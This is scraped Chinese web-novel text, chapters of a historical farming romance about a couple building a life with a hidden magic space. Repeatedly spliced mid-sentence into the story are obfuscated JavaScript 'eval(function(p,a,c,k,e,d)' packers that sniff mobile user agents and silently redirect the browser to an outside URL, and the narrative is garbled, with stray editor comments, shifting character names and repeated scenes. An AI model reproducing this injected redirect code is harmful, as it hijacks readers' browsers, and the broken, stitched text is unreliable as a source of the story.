宁芷薇站在廊下,怀里抱着已经睡着的墨圆儿。温热的小身子随着呼吸起伏,让她的心渐渐平静下来。 也许,她想得太多了。只要一家人齐心协力,总能找到解决的办法。现在最重要的,是把眼前的事情做好。 想到这里,她深吸一口气,转身走向灯火通明的房间。新的生活才刚刚开始,未来还有很长的路要走。 宁芷薇这几日并未急着制作绣偶。 她在宁远转了几圈,发现这里虽有富贵人家,却远不及其他城池繁华。街道上行人稀少,商铺也不如想象中热闹。偶尔经过几家绸缎庄,里面的布料价格都高得吓人。 “这价格......”她站在一家绸缎庄门口,望着里面陈列的布匹,眉头微蹙。 绣偶虽说成本不高,可当初沈良远卖出过十两一个的高价,如今布料珍贵,用完了还不知何时能再寻到 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几位嫂嫂这才放下手中的活计,各自散去。 宁芷薇跟着老夫人进了内院,“娘,我今日去城里转了转......” “我知道你在担心什么。”老夫人打断她的话,慈祥地看着她,“不必着急,咱们慢慢来。” 用过晚饭,宁芷薇带着墨圆儿回了房间。她坐在梳妆台前,一边梳理长发,一边思索着对策。 秦远霄推门而入,见她眉头紧锁的模样,不由得心疼。他走到她身后,接过她手中的木梳,轻轻为她梳理长发。 “在想什么?”他柔声问。 “没什么。”宁芷薇摇头,“就是觉得有些累。” 秦远霄放下木梳,双手搭在她肩上,轻轻揉捏起来。许久未享受过这样的待遇,当那双有力的大手落在酸痛的肩头时,宁芷薇忍不住发出舒服的轻哼。 “嗯...就是那里...” 这声音落在秦远霄耳中,却是致命的诱惑。他只觉浑身燥热,手上的力道也渐渐失了分寸。 “你怎么心不在焉的?”宁芷薇察觉不对,转头问道。 第一百章 话音未落,她已被拥入一个结实的怀抱。随之而来的是一个生涩却炽热的吻。 宁芷薇下意识想要推开,可那双手臂如铁箍般牢牢禁锢着她。渐渐地,她也沉醉在这个吻中,双臂环上他的脖颈。 正当两人情到深处时,墨圆儿迈着小短腿跑了回来。看到主人被“欺负”,它立刻冲上前死死咬住秦远霄的腿。 突如其来的疼痛让秦远霄松开了怀中人。 “墨圆儿,不许咬人!”宁芷薇喘着气呵斥道。 墨圆儿委屈地松开嘴,可怜巴巴地看着主人,尾巴耷拉着,像是做错了事的孩子。 宁芷薇趁机抱起它后退几步,掩饰着脸上的红晕。这是她两世为人的初吻,来得猝不及防,心跳得厉害。 秦远霄也是满脸通红,不敢看她。烛光下,他的耳尖红得像要滴血。 “我...我一时没忍住。”他结结巴巴地解释,声音里带着几分懊恼和羞涩。 宁芷薇将墨圆儿放下,主动走到他面前,环住他的腰。“我可是你明媒正娶的老婆,不用解释。” 这句话彻底点燃了秦远霄的理智。他再次吻上那柔软的唇,这次比方才更加霸道。感受到怀中人儿软若无骨,他一把将人抱起,大步走向卧室。 墨圆儿被关在门外,只能焦急地转圈,时不时用爪子挠门,发出呜呜的声音。 初为人妇的宁芷薇难免不适,秦远霄虽极力克制,却仍让她吃不消。毕竟是年轻力壮的男子,即便再怎么温柔,也让她承受不住这般热情。 次日清晨,宁芷薇醒来时,发现自己被紧紧搂在怀里。秦远霄的呼吸均匀地拂过她的发丝,带着淡淡的温度。 她小心翼翼地想要起身,却被他搂得更紧。 “再睡会儿。”他含糊地说,声音里还带着困意。 宁芷薇无奈,只好又躺了回去。阳光从窗棂间洒进来,在地上画出斑驳的光影。 门外传来墨圆儿的叫声,想必是饿了。宁芷薇轻轻推了推秦远霄,“该起了。” 他这才不情愿地松开手,看着她穿衣梳洗。宁芷薇被他灼热的目光盯得不自在,红着脸催促道:“你也快些起来。” 用过早膳,宁芷薇又开始忙活绣偶的事。她将剩下的布料分类整理,琢磨着如何能物尽其用。 “芷薇。”秦远霄突然出现在门口,“我带你去个地方。” 宁芷薇疑惑地看着他,却见他神秘地笑了笑,“跟我来就是。” 他带着她穿过几条街巷,最后停在一家布庄前。这家店铺看起来很普通,但进去后宁芷薇才发现,里面的布料品质竟然不错,价格也比其他地方便宜许多。 “这是......” “我托人打听的。”秦远霄说,“这家店主是个老实人,进货渠道稳定,价格公道。” 宁芷薇心中一暖,原来他一直在关注这件事。 “谢谢。”她轻声说。 秦远霄摸了摸她的头,“傻瓜,我是你夫君,照顾你是应该的。” 回去的路上,宁芷薇心里盘算着新的计划。有了这家布庄作为货源,绣偶的成本就能控制住了。只要能联系上沈良远,确定销路,就能继续做下去。 走着走着,她忽然停下脚步。 “怎么了?”秦远霄问。 宁芷薇指着前方,“那不是沈良远吗?” 果然,不远处一个熟悉的身影正匆匆走过。秦远霄立刻上前叫住了他。 前后姓名不一致 “沈兄!” 沈良远转身,看到是他们,脸上露出惊喜的神色。 “秦兄!宁姑娘!”他快步走来,“我正想着怎么联系你们呢。” 三人找了个茶馆坐下。沈良远说起这段时间的情况,原来他已经在城里找到了几个稳定的买家,都是些富贵人家,对绣偶很感兴趣。 “现在就差货源了。”他笑着看向宁芷薇,“不知宁姑娘这边......” 宁芷薇点点头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“混蛋......”她一边低声咒骂,一边笨拙地系着衣带。 推开房门时,迎面撞上了正要敲门的八嫂。 第一百零一章 “九弟妹,可算醒了。”八嫂笑眯眯地打量着她,目光在她脖子上扫过,笑意更深,“九弟一大早就说你昨晚身子不适,让我们别打扰你休息。我还担心呢,这都日上三竿了。” 宁芷薇尴尬地拢了拢衣领,“已经好多了,感激八嫂念着我。” “我去给你热饭。”八嫂转身就要往灶房走,“你这会儿肯定饿了。” “我自己来就好......”宁芷薇想追上去,却发现自己只能小步慢行,像个刚学走路的孩子。 这时,大嫂和二嫂也从院子里走来。两人手里还提着篮子,想必是刚从菜园回来。 大嫂眼尖,一下就看出了端倪,嘴角勾起意味深长的笑,“九弟妹这是......” “可不是。”二嫂也笑着打趣,放下手中的篮子,“九弟也太不懂得怜香惜玉了。瞧瞧,走路都不利索了。” 宁芷薇恨不得找个地缝钻进去。这些嫂嫂们怎么一个个都这么敏锐?她的脸烫得厉害,连耳根都红透了。 “不是...我是真的身体不舒服......”她试图解释,却越说越觉得此地无银三百两。 “哎呀,都是过来人,还说什么呢。”大嫂拉着她的手,眼中闪着期待的光芒,“说不定明年就能抱上大胖小子了。九弟这么卖力,还愁没有好消息?” 正说着,秦老夫人也从正房走了出来。她今日穿了件藕荷色的褙子,头发梳得一丝不苟,看起来精神矍铄。 二嫂立刻大声嚷嚷:“娘,九弟可厉害了,明年准能让您抱上孙子!” 秦老夫人笑眯眯地看向宁芷薇,目光不时在她腹部打量,“好好好,不着急,慢慢来。” 宁芷薇觉得自己的脸烫得能煎鸡蛋。她低着头,不敢看任何人。 八嫂这时端着热好的饭菜从灶房出来,“九弟妹,快来吃点东西。我特意给你煮了碗红糖姜汤,暖暖身子。” “多谢八嫂。”宁芷薇如蒙大赦,赶紧跟着八嫂进了厢房。 坐在桌前,她一边喝着姜汤,一边在心里狠狠地咒骂着某个始作俑者:秦远霄,你给我等着! 此时的秦远霄正在与赵、周两位族长商谈买地的事宜。他们坐在村口的大槐树下,面前摊着几张地契。 “这块地虽然荒了些年,但土质不错。”杨族长指着其中一张地契说道,“只要好好整理,明年就能种上。” 秦远霄正要说话,突然打了个大喷嚏。他揉了揉鼻子,心想着是不是有人在念叨他。 吃过饭,宁芷薇强撑着去了后院,想看看兔子的情况。 五嫂正愁眉苦脸地站在那里,手里拿着空了的菜筐,“九弟妹,这些兔子太能吃了,咱们的白菜萝卜怕是撑不了两天了。” 五哥走过来,脚步已经稳健了许多,虽然还是有些跛,但比之前好了太多,“不必担心,我去村里问问,看谁家还有多余的青菜。” “对,”宁芷薇点头,心里已经打起了主意。她可以趁机用界阙里的青菜充数,反正现在谁也不会怀疑。 可刚一转身,浑身的酸痛就提醒她今天还是别出门的好。她扶着墙,努力维持着表面的镇定。 五嫂已经拉着五哥往外走,“相公,咱们这就去问问。趁着天还早,多问几家。” 看着两人离开的背影,宁芷薇扶着墙慢慢往回走。她一边走一边盘算着晚上该怎么收拾那个不知节制的男人。 要不要在他的饭菜里下点泻药?不行,万一坏了他的身子就不好了。 要不要趁他睡着时把他踹下床?也不行,这样太明显了。 她正想着,就听见院子里传来一阵喧哗。 “九弟回来了!” “九弟,你可回来得正好,快去看看九弟妹。” 宁芷薇僵在原地,听着那熟悉的脚步声越来越近。 她转过身,就看见秦远霄大步走来。他今日穿了件墨色长衫,衬得身形挺拔如松。那张俊美的脸上带着笑意,眼中却闪着危险的光芒。 “娘子,”他走到她面前,伸手扶住她的腰,“怎么一个人在这里?” 宁芷薇咬牙,在他耳边低声道:“秦远霄,你给我等着。” 秦远霄轻笑一声,“娘子这是在威胁我?” “你说呢?”她瞪着他,“七次!你是想要我的命吗?” “娘子若是累了,”他凑近她耳边,声音低沉,“今晚我可以让你躺着......” 宁芷薇一把推开他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481961|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上烧得厉害,“你...你不要脸!” 秦远霄笑着看她,“娘子,你脸红了。” 宁芷薇正要离开房间,就听见院子里传来五嫂的声音,说要和五哥去采买粮食。她连忙撩开帘子,探出头去。 “五哥、五嫂,这事不急,等我夫君回来让他去张罗。”她的声音里带着几分焦急。没有秦远霄在身边,她可不好施展界阙的本事。 五嫂正在系围裙的手顿了顿,抬头看向宁芷薇:“也是,家里存粮还够吃一阵子。” 五哥也点点头:“那就等远霄回来再说。” 宁芷薇松了口气,转身回到屋里。她揉了揉酸痛的腰,小心翼翼地在炕边坐下。昨晚那人太过分了,害得她今早走路都不利索。 日上三竿,院子里终于传来了熟悉的脚步声。秦远霄将骡车随意拴在院中的木桩上,大步流星地往房里走。 宁芷薇正躺在炕上生闷气。早上被几个嫂嫂打趣走路姿势怪异,她索性躲在房里不出门了。墨圆儿蜷缩在她脚边,时不时用湿漉漉的鼻子蹭蹭她的手。 “薇薇,你哪里不舒服?”秦远霄一进门就看见她躺着,眉头顿时拧成了疙瘩。 宁芷薇狠狠瞪了这个罪魁祸首一眼,翻过身去不理他。被子里传来她闷闷的声音:“还不是因为你......” 秦远霄脱了鞋子爬上炕,从背后将她搂在怀里。他的气息温**喷在她耳畔,低声问道:“我做错什么了?” 墨圆儿早已习惯了主人这般亲昵,识趣地跑到角落里趴着,尾巴有一下没一下地摇着。 “薇薇......”他又唤了一声,声音里带着几分讨好。 宁芷薇终于忍不住转过身,小拳头不停捶打他的胸口:“都怪你!害我被嫂嫂们笑话!走路都不敢出门了!” “嫂嫂们为何要笑话你?”秦远霄一脸困惑,随即恍然大悟,“啊......” 看他一副恍然大悟的模样,宁芷薇更加恼火了。这事儿让她咋开口圆啊?她狠狠地在他腰间掐了一把,换来他一声闷哼。 她向来不是爱闹脾气的性子,见他吃痛的样子,心里的气也消了大半。便转移了话题:“你今日去哪了?怎么这么晚才回来?” 第一百零二章 秦远霄从怀里掏出一叠纸张,小心展平:“去衙门办了过户手续。” “你哪来的银子?”宁芷薇皱眉。虽说界阙里有不少存货,但也不能这般大手大脚。 “我早上从界阙里取的。”秦远霄笑道,“趁你睡着的时候。” 宁芷薇暗暗点头,这人总算学会自己拿主意了,比从前那个唯唯诺诺的样子强多了。她接过地契仔细查看,发现数量分毫不差,便又塞回给他:“先给娘送去,若她不想管着,你再拿回来。” 虽说自打流放以来,秦老夫人就不再过问家事,但该有的礼数不能少。这是她坚持的原则。 秦远霄正要拉她一同去见母亲,却见她摇头不肯。走路那般扭捏,她可不想再被嫂嫂们用异样的眼光打量。 果然不出所料,秦远霄很快就把地契带了回来。老夫人只是淡淡扫了一眼,就让他自己处置了。 入夜,秦远霄迫不及待地要进界阙。他的眼神灼热得几乎要把宁芷薇烫伤。 “那个...今晚能不能......”宁芷薇往后缩了缩,声音越来越小。 “发誓今晚乖乖闭眼休息。”秦远霄连忙表态,“绝不碰你。” “君子一言,驷马难追。”宁芷薇警告道,眼神里带着几分威胁。 秦远霄在她额头轻轻一吻:“你相公一直都很正人君子。” 若不是亲身体会过他的凶猛,宁芷薇差点就信了他这番鬼话。她暗自腹诽,面上却不显。 墨圆儿在一旁嘤嘤直叫,她便拉着两个家伙一起进了界阙。夜色渐深,月光透过窗棂洒在床前,将两人的影子拉得很长。 这一夜,即便**中烧,秦远霄也信守承诺,宁愿去冲冷水也不碰她一下。宁芷薇看他来来**好几趟,心里既愧疚又好笑。 休养一晚,宁芷薇感觉好多了。第二天一早,一家人便去看新买的田地。 两位族长走在前面带路,不时指点着地界。老大家的孩子们在田埂上追逐嬉闹,欢声笑语传得老远。 这四十六亩地虽然勉强连在一起,但中间还夹杂着苏家的田地。看着那些参差不齐的地界,宁芷薇眉头微皱。 “这块地倒是肥沃。”大哥蹲下身捏了捏泥土,“就是地形有些零散。” 二哥也附和道:“是啊,要是能把苏家那几块地买下来就好了。” 宁芷薇和秦远霄对视一眼,都明白对方的想法。以苏家人的德性,这事怕是不会太顺利。但无论如何,这片地他们是志在必得了。 吴族长又带着他们在村外转了一圈,对这片土地的情况如数家珍。 走到北边,一片荒地映入眼帘,初春的寒意还未完全散去,荒地上零星可见几簇新生的野草,在料峭的春风中轻轻摇曳。 秦远霄眼前一亮:“老人家,这片荒地......” “那是官府的地。”族长摆摆手,“年年都荒着,也没人管。” “若是开垦出来......”秦远霄若有所思。 “这片荒地确实荒废多年了。”吴族长停下脚步,目光扫过眼前一望无际的荒芜之地,语气中带着几分惋惜,“当年我们族人开垦到这里就停下了。这地方土质虽然不错,但缺水少人,实在是难以耕种。” 宁芷薇蹲下身,捻起一把土壤细细查看。土质松软,呈现出深褐色,只是表层有些干涸。她的手指轻轻摩挲着,眼中闪过一丝思索。 “这土地倒是不错。”她站起身,拍了拍手上的泥土,“就是需要好好整理一番。” 秦远霄站在她身边,目光在荒地上缓缓扫过:“族长,这些荒地要如何购买?” “简单,去衙门就行。”吴族长捋了捋花白的胡须,脸上露出和蔼的笑容,“一亩地一两银子,看中哪块去衙门申请,官差来丈量后就能办地契。不过...”他顿了顿,“这地荒废已久,要想重新开垦怕是要费不少功夫。” 宁芷薇暗自点头,有蒋大人在,这事应该不难办。只是开垦的事确实需要好好规划一番。她的目光在远处的山坡上逡巡,心中已有了几分计较。 一行人又来到那片废弃的房屋前。残垣断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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回去的路上,大家七嘴八舌地讨论着如何规划这些田地。五哥提议种些粮食,三嫂则想种些蔬菜。 “不如分成几块。”宁芷薇开口道,“靠近村子的种菜,远些的种粮食。” “这主意好。”大嫂笑着应和,“就是不知道地里的水够不够。” 秦远霄接话道:“我看过了,地势低洼,引水应该不难。” 众人你一言我一语,不知不觉就走到了家门口。墨圆儿早就等在那里,见他们回来,立刻欢快地摇着尾巴迎上来。 “对了。”二嫂突然想起什么,“明天就是集市,要不要去买些种子?” 大家正说着,村里突然传来一阵喧哗声。 众人循声望去,只见一队官差正朝这边走来。走在最前面的正是蒋承志,他身着官服,面带微笑,大步流星地走近。 “秦九哥,九嫂。”蒋承志拱手行礼,目光扫过两位族长,“两位族长也在。” “蒋大人亲自来了?”秦远霄略显意外。 “苏家的案子已经审清楚了。”蒋承志收起笑容,正色道,“涉及赔偿事宜较多,我得亲自处理。”说着,他转头吩咐手下:“去把苏家人都叫来。” 几个衙役领命而去,很快就带着苏家一众人等赶来。苏老爷脸色铁青,苏夫人双眼红肿,显然是哭过。其他苏家人也都是一副愁眉苦脸的模样。 宁芷薇看着这一幕,心中没有丝毫怜悯。苏家的所作所为,早就该有个了断。与后文不搭多余赘婿 正想着,蒋承志已经开始宣读判决。他的声音清晰洪亮,在寒风中传得很远。 “苏家非法侵占他人田产,克扣佃户租金,证据确凿。今判...” 宁芷薇收回思绪,专注地听着判决。这是一个结束,也是一个开始。她看了看手中的玉米粒,又望向那片荒地,心中已经有了完整的计划。 春天,终究是要来了。 宁芷薇站在窗边,看着院外的喧闹声渐渐平息。阳光透过窗棂在地上投下斑驳的光影,映照着她略显苍白的脸色。 苏家人垂头丧气地离开了,那些曾经趾高气扬的嘴脸,此刻只剩下了苦涩和无奈。有人抹着眼泪,有人低声啜泣,更多的是一言不发地拖着疲惫的脚步远去。 她的手指无意识地摩挲着窗框上的木纹,眼神有些恍惚。记忆中那些苏家人作威作福的画面一幕幕闪过,多少无辜之人因他们而家破人亡。可如今看着那些老弱妇孺蹒跚离去的背影,她心里却泛起一丝难以言说的复杂。 “在想什么?”秦远霄的声音突然在身后响起,温热的气息拂过她的耳畔。 宁芷薇微微一颤,转身时不经意间撞入了他深邃的眸子里:“我只是......”她顿了顿,“看着他们离开的样子,心里有些说不清道不明的感觉。” 秦远霄轻轻握住她的手,指腹轻柔地摩挲着她的手背:“善良是好事,但有些人不值得同情。苏家这些年作恶多端,如今不过是自食其果。” 宁芷薇张了张嘴,还未来得及说话,外面传来一阵脚步声。 “九哥,九嫂。”蒋承志的声音从院外传来,伴随着轻快的脚步声。 秦远霄牵着宁芷薇的手走出去,就见蒋承志带着蒋昭站在院子里。春日的阳光洒在两人身上,给他们镀上了一层柔和的光晕。 “眼下光景正好,不知可否叨扰?”蒋承志笑容温和,眼中带着几分期待。 宁芷薇连忙道:“蒋大人快请进,我这就去准备些茶点。”她转身欲走,却被秦远霄拉住了手腕。 “让丫鬟去准备就好。”秦远霄的声音里带着几分心疼,“你这几日操劳,该好好休息。” 蒋承志也跟着劝道:“是啊,九嫂不必这般客气。” 宁芷薇抿唇一笑,还是坚持道:“无妨,我去看看还有些什么点心。”说着轻轻挣开秦远霄的手,转身向厨房走去。 厨房里,几个丫鬟正在忙碌。宁芷薇走进去时,空气中飘着淡淡的茶香。 “夫人。”丫鬟们纷纷行礼。 宁芷薇点点头:“把前些日子从洋人那里买来的点心拿出来些,再沏壶好茶。”她顿了顿,“对了,再准备些新鲜的水果。” “是,夫人。” 看着丫鬟们忙碌的身影,宁芷薇的思绪不由得飘远。那座山和荒地的事情,今天正好可以和蒋承志谈谈。她知道秦远霄打算在那里种植药材,这可是一笔不小的投资。 正想着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦远霄点点头:“去吧,若有需要帮忙的地方,尽管开口。” 第一百零四章 待蒋承志匆匆离去后,院子里重归平静。宁芷薇看着秦远霄若有所思的样子,轻声问道:“在想什么?” “城南的命案......”秦远霄眉头微皱,“总觉得有些蹊跷。” 宁芷薇也想起方才衙役说的话:“是觉得和苏家有关?” 秦远霄摇摇头:“现在还说不准,等蒋承志查清楚再说。”他转头看向宁芷薇,“你这几日别往城南去了,等事情平息再说。” 宁芷薇点点头:“我知道了。”她顿了顿,“那座山的事......” “放心。”秦远霄打断她的话,“我已经安排好了,你只需要专心研究药材就好。” 夜幕降临时,院子里亮起了灯笼。宁芷薇站在廊下,看着天边最后一抹晚霞消失在暮色中。 宁芷薇站在窗边,望着院外那片荒芜的土地,嘴角不自觉地扬起一抹笑意。初春的寒风裹挟着细碎的尘土,在空旷的地面上肆意翻卷,远处的山峦在暮色中若隐若现。 这片不毛之地在旁人眼里一文不值,可对她而言,却是最好的试验田。指尖轻轻摩挲着窗框,木质的纹理粗糙而真实。 “又在发呆?”秦远霄的声音从身后传来,温热的呼吸拂过她的耳畔。他的手臂环住她的腰,下巴轻轻搁在她的肩头。 宁芷薇微微侧头,靠在他怀里,轻声道:“我在想,若是那座山真的种上了药材,将来或许能帮到更多的人。”她转过身,迎上丈夫含笑的目光,“你说,他们会不会觉得我们疯了?” “管他们怎么想。”秦远霄捏了捏她的脸颊,“只要你开心就好。” 秦远霄从身后环抱住她,“天凉,进屋去吧。” 屋内,烛光摇曳。宁芷薇坐在案前翻看医书,秦远霄则在一旁处理公务。 偶尔抬头,看到对方专注的侧脸,两人都会不自觉地露出一抹微笑。 这样平静的生活,或许就是他们最想要的。 翌日,蒋承志送来地契。房间里的炭火烧得正旺,驱散了春日的寒意。 秦雪松坐在炕上,眉头微蹙地看着手中的地契,“九弟这次是真要在这荒郊野外扎根了。” “八爷,”蒋承志端着茶杯,欲言又止,“九爷买这么多荒地,真的合适吗?那些地都是些瘠薄的黄土,连庄稼都长不好。” “九弟向来有主见,”秦雪松叹了口气,“既然他决定了,我们也劝不动。” “那山头就更不值当了,”蒋承志摇头晃脑,“种果树?这塞北的气候,风沙大得很,哪有什么果树能活?” “九弟说是洋人要送果树苗来。”秦雪松皱眉,“不过这事确实有些冒险。” 宁芷薇端着茶具进来时,正好听到两人的对话。她神色如常,将茶具放在炕上,动作优雅地开始泡茶。 茶香瞬间弥漫开来,清冽的香气中带着一丝甜润。 蒋承志眼前一亮,“这茶叶......” “是我从洋人那里买来的。”宁芷薇微笑着说,手腕轻转,将茶水注入杯中,“尝尝看。” 茶水清澈见底,茶叶在水中舒展,翠绿欲滴。阳光透过窗棂洒在茶杯上,折射出细碎的光晕。 蒋承志轻抿一口,眼睛顿时睁大,“好茶!入口清香,回甘持久,比我喝过的所有茶都要好。” 秦雪松也连连点头,“确实难得。这茶的品质,怕是连京城里的贵人都喝不到。” 宁芷薇看着他们的反应,心中暗笑。这可是她界阙里种出来的玉露春,品质自然不是这个时代能比的。她故意露出为难的神色,“可惜只剩两包了。” 蒋承志顿时泄气,不好意思开口讨要。 厨房里,香气四溢的番茄炒蛋,翠绿欲滴的蒜薹炒肉,酸辣可口的土豆丝,还有那金黄诱人的拔丝红薯,以及一锅浓香四溢的排骨豆角玉米汤。厨房里,蒸腾的热气裹挟着诱人的香味,让人忍不住食指大动。 宁芷薇将最后一道菜端上桌,擦了擦额头上的细汗。她环视一圈,确认每道菜都摆放的恰到好处,这才露出满意的笑容。 厨房门帘被人掀开,秦远霄端着一盆清水走了进来。“去洗把脸吧,我来摆碗筷。” 宁芷薇点点头,用毛巾沾了水擦拭脸颊。透过厨房的窗子,她看见院子里,八哥正和五哥说着什么,蒋承志则站在一旁,时不时往厨房这边张望。 “这是什么味道?”蒋承志终于忍不住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481964|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“九哥,你们家今天是办喜事吗?” 秦远霄将最后一双筷子放好,淡淡道:“进来吧。” 三人鱼贯而入,刚踏进门就被满桌的菜肴惊呆了。蒋承志瞪大了眼睛,嘴巴微张,一时说不出话来。就连一向稳重的八哥和五哥也是一脸震惊。 “这...这些菜...”蒋承志咽了咽口水,“九嫂,你亲自下厨?” 宁芷薇笑着点头:“都是些家常菜,不成敬意。” 秦远霄看着她谦逊的模样,眼底闪过一丝宠溺。他招呼大家入座,自己则坐在了宁芷薇身边。 “来,尝尝看。”宁芷薇给每个人盛了碗汤。 蒋承志迫不及待地夹了一筷子番茄炒蛋,刚入口就愣住了。这口感,这味道,简直让人欲罢不能!他顾不得形象,狼吞虎咽起来。 “慢点,没人跟你抢。”八哥笑着提醒,但自己也停不下筷子。 五哥虽然没说话,但扫荡的速度丝毫不慢。 “九哥,这些食材...”蒋承志一边吃一边问道。 “洋人那边买的。”秦远霄含糊其辞,给宁芷薇夹了块排骨。 宁芷薇低头吃饭,掩饰住嘴角的笑意。这些食材自然是从界阙里取的,但这种事,还是越少人知道越好。 “九弟妹,”大嫂指着着一盘炖肉,“你这手艺是跟谁学的?这几天的饭菜,连我家老爷都说好。” 宁芷薇笑而不语,这些菜品都是界阙里的食材,再加上现代的烹饪手法,自然与这个时代的口味大不相同。 “是啊,”二嫂也附和道,她手里端着一碗汤一边喝一边说道,“尤其是那个番茄炒蛋,酸甜可口,连孩子们都爱吃。” “番茄?”蒋承志疑惑地问,“那是什么?” “就是洋人叫的番茄,”宁芷薇解释道,“我让远霄从码头那边买来的。” 秦远霄适时说到,“以后我们自己种就是了。” “种?”秦雪松惊讶地看着弟弟,“你是说要在那片荒地上种这些洋物?” “不止是番茄,”秦远霄坐下来,“还有土豆、玉米,都是好东西。” “这......”秦雪松欲言又止。 第一百零五章 宁芷薇给每人倒了茶,轻声说道:“八爷不必担心。这些作物虽然是舶来品,但适应性很强,产量也高。” “可是那片地......” “我有办法。”宁芷薇眼中闪过一丝笑意。 她知道,用不了多久,这些荒地就会变成最肥沃的良田,那座荒山也会结出最甜美的果实。但现在,她只需要一步一步来,慢慢改变这里的一切。 饭桌上,众人一边享用美食,一边谈论着未来的打算。宁芷薇看着他们渐渐被自己的想法打动,心中暗暗欣喜。 酒足饭饱,月色渐起。蒋承志依依不舍地站起身:“时候不早了,我该回去了。” 宁芷薇起身相送,顺手从厨房里取出一包玉露春:“这茶不错,你带回去尝尝。” 蒋承志双手接过,脸上写满了惊喜:“九嫂,这...这太贵重了。” “拿着吧。”宁芷薇笑道,“以后常来坐坐。” 送走了客人,宁芷薇收拾完碗筷,才发现秦远霄一直站在院子里。月光下,他的身影显得格外修长。 “在想什么?”她走到他身边。 秦远霄转过头,月光映照在他深邃的眼眸中:“在想明天去城里置办些什么。” “对了,”宁芷薇拍了拍手,“我列了张清单,明天我们得买些家具。” 随后夫妻二人又望向远处的荒地。“在想什么”?秦远霄问道。 “在想该从哪里开始。”“地要先整理,水渠要挖,还要准备肥料......” “慢慢来,”秦远霄亲了亲她的发顶,“我都听你的。” 宁芷薇转身看着丈夫,月光下他的眉眼温柔如水。她知道,有他的支持,自己一定能成功。 远处传来几声犬吠。春夜微凉,却充满希望。 明天,就要开始了。 次日清晨,秦雪松去衙门上职,秦远霄和宁芷薇则赶着骡车去城里。 春日的阳光暖洋洋的,街上行人熙熙攘攘。宁芷薇坐在骡车上,看着街边的店铺,心里盘算着要买些什么。 “这些家具虽然简单,但先凑合着用吧。”她暗自思忖,等明年新房子建好,她要好好设计一番。 正当两人在城中闲逛时,突然听见一阵骚动。街上的百姓惊慌失措地四散奔逃,有**声喊着:“快跑啊!医馆那边有人得了天花!” 秦远霄下意识地想让宁芷薇躲进界阙,但她已经拉着他闪身进去取了防护用具。 “我们去看看。”宁芷薇一边戴上口罩,一边说道。她的声音很轻,但语气坚定。 医馆门前,一个十五六岁的少年抱着小妹妹蜷缩在角落。小女孩脸上布满红疹,少年的眼中满是绝望。 “你们别过来!”少年警惕地看着靠近的两人,“我妹妹得了天花,会传染的!” 医馆内弥漫着浓重的药味,混杂着各种草药的气息。窗外传来零星的脚步声,偶尔有行人的交谈声飘进来,却显得格外遥远。 宁芷薇和秦远霄的目光都落在沈良萱的脸上,那些红疹虽然密集,却并不像天花那般狰狞可怖。疹子呈水泡状,零星分布在脸颊和脖颈处,在昏暗的光线下泛着淡淡的光泽。 沈良萱躺在简陋的木板床上,额头渗出细密的汗珠,眉头微蹙,显然正在经受病痛的折磨。床边的油灯摇曳,在墙上投下晃动的影子。 “这位大嫂...”沈良远站在床边,双手紧握成拳,指节发白。他的声音里带着几分颤抖,“我妹妹...她不会有事吧?” 宁芷薇轻轻摇头,嘴角勾起一抹安抚的笑意:“放心,不是天花。”她伸手轻轻触碰沈良萱的额头,感受着那份灼人的温度。 这句话仿佛一剂强心针,沈良远紧绷的身体瞬间松弛下来。他靠在墙边,双腿微微发软,脸上的表情介于解脱与担忧之间。 就在此时,医馆门口传来一阵急促的脚步声。木质地板发出吱呀的响声,一位头发花白的老大夫踱步而来。他身着一件略显陈旧的青色长衫,面容被白色的面巾遮住大半,只露出一双浑浊却锐利的眼睛。 “咳咳...”老大夫站在门口,用力咳嗽了几声,似乎是在提醒屋内的人注意距离。“小娘子,你这是在找死啊!”他的声音里带着几分焦急和责备,“这种时候还敢靠近病人,当真不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 